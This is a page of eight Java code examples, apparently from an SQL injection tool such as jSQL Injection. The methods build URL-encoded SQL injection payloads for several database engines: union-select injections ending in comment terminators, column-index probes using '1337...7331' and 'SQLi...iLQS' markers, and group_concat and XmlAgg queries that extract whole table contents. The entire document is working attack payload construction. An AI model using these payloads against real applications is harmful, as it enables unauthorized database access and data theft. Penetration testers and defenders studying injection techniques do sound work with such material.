예제 #1
0
  @Override
  public String getValues(String[] columns, Database database, Table table) {
    String formatListColumn = ToolsString.join(columns, "{%}");

    // 7f caractère d'effacement, dernier code hexa supporté par mysql, donne 3f=>? à partir de 80
    formatListColumn =
        formatListColumn.replace("{%}", ",SQL_VARCHAR),'')),'%7f',trim(ifnull(convert(");

    formatListColumn = "trim(ifnull(convert(" + formatListColumn + ",SQL_VARCHAR),''))";

    return "select+concat("
        + "group_concat("
        + "'%04'||"
        + "r||"
        + "'%05'||"
        + "convert(q,SQL_VARCHAR)||"
        + "'%04'"
        + "+order+by+r+separator+'%06'"
        + "),"
        + "'%01%03%03%07'"
        + ")r+from("
        + "select+"
        + "convert(concat("
        + formatListColumn
        + "),SQL_VARCHAR)r,"
        + "count(*)q+"
        + "from+"
        + ""
        + database
        + "."
        + table
        + "+"
        + "group+by+r{limit}"
        + ")x";
  }
예제 #2
0
  @Override
  public String getValues(String[] columns, Database database, Table table) {
    String formatListColumn = ToolsString.join(columns, "{%}");

    // 7f caractère d'effacement, dernier code hexa supporté par mysql, donne 3f=>? à partir de 80
    formatListColumn = formatListColumn.replace("{%}", "),''))||'%7F'||trim(ifnull(chr(");
    formatListColumn = "trim(ifnull(chr(" + formatListColumn + "),''))";

    return "select+rr||'%01%03%03%07'r+from(select+'%04'||trim(t.s)||'%050%04'rr+"
        + "from(select+distinct+"
        + formatListColumn
        + "s+from+"
        + database
        + "."
        + table
        + ")t,(select+distinct+"
        + formatListColumn
        + "s+from+"
        + database
        + "."
        + table
        + ")t1+"
        + "where+t.s>=t1.s+"
        + "group+by+t.s{limit})a";
  }
예제 #3
0
  @Override
  public String getValues(String[] columns, Database database, Table table) {
    String formatListColumn = ToolsString.join(columns, "))||'%7f'||trim(to_char(");
    formatListColumn = "trim(to_char(" + formatListColumn + "))";

    return "select+"
        + "utl_raw.cast_to_varchar2(CAST(DBMS_LOB.SUBSTR(replace("
        + "replace("
        + "XmlAgg("
        + "XmlElement(\"a\",rawtohex('%04'||s||'%050%04'))order+by+s+nulls+last"
        + ").getClobVal(),"
        + "'<a>',''),"
        + "'<%2Fa>',rawtohex('%06'))||rawtohex('%01%03%03%07'),4000,1)AS+VARCHAR(1024)))"
        + "+from(select+t.s+from(SELECT+DISTINCT+"
        + formatListColumn
        + "+s+"
        + "FROM+"
        + database
        + "."
        + table
        + ""
        + ")t,(SELECT+DISTINCT+"
        + formatListColumn
        + "+s+"
        + "FROM+"
        + database
        + "."
        + table
        + ""
        + ")t1+"
        + "where+t.s>=t1.s+"
        + "group+by+t.s+"
        + "{limit})+";
  }
예제 #4
0
 @Override
 public String performanceQuery(String[] indexes) {
   return MediatorModel.model()
       .initialQuery
       .replaceAll(
           "1337(" + ToolsString.join(indexes, "|") + ")7331",
           /** rpad 1024 (not 65536) to avoid error 'result of string concatenation is too long' */
           "(SELECT+TO_CHAR("
               + "(SELECT*"
               + "FROM"
               + "(SELECT'SQLi$1'"
               + "||SUBSTR("
               + "(SELECT+utl_raw.cast_to_varchar2(CAST(DBMS_LOB.SUBSTR(REPLACE(REPLACE(XmlAgg(XmlElement(\"a\",rawtohex("
               + "s"
               + "))"
               + "ORDER+BY+s+nulls+last).getClobVal(),'<a>',''),'<%2fa>',rawtohex('6'))"
               + "||rawtohex('1337'),4000,1)AS+VARCHAR(1024)))"
               + "FROM"
               + "(SELECT+DISTINCT+rpad('%23',1024,'%23')s+FROM+dual"
               + ")"
               + "),1,3996)"
               + "FROM+dual"
               + ")x"
               + "))"
               + "FROM+dual)");
 }
예제 #5
0
 @Override
 public String getIndicesCapacity(String[] indexes) {
   return MediatorModel.model()
       .initialQuery
       .replaceAll(
           "1337(" + ToolsString.join(indexes, "|") + ")7331",
           "('SQLi'||$1||repeat('%23',1024)||'iLQS')");
 }
예제 #6
0
 @Override
 public String getIndicesCapacity(String[] indexes) {
   return MediatorModel.model()
       .initialQuery
       .replaceAll(
           "1337(" + ToolsString.join(indexes, "|") + ")7331",
           "(select'SQLi$1'||rpad('%23',1024,'%23',1025)||'iLQS'from+dual)");
 }
예제 #7
0
 @Override
 public String initialQuery(Integer nbFields) {
   List<String> fields = new ArrayList<String>();
   for (int i = 1; i <= nbFields; i++) {
     fields.add("to_char(1337" + i + "7330%2b1)");
   }
   return "+union+select+"
       + ToolsString.join(fields.toArray(new String[fields.size()]), ",")
       + "from+dual--+";
 }
예제 #8
0
 @Override
 public String getIndices(Integer nbFields) {
   String replaceTag = "";
   List<String> fields = new ArrayList<String>();
   for (int i = 1; i <= nbFields; i++) {
     fields.add("*");
     replaceTag = "select(1337" + i + "7330%2b1)||''FROM(VALUES(0))";
   }
   return "+union+select"
       + ToolsString.join(fields.toArray(new String[fields.size()]), ",")
       + "from("
       + replaceTag
       + ")b+";
 }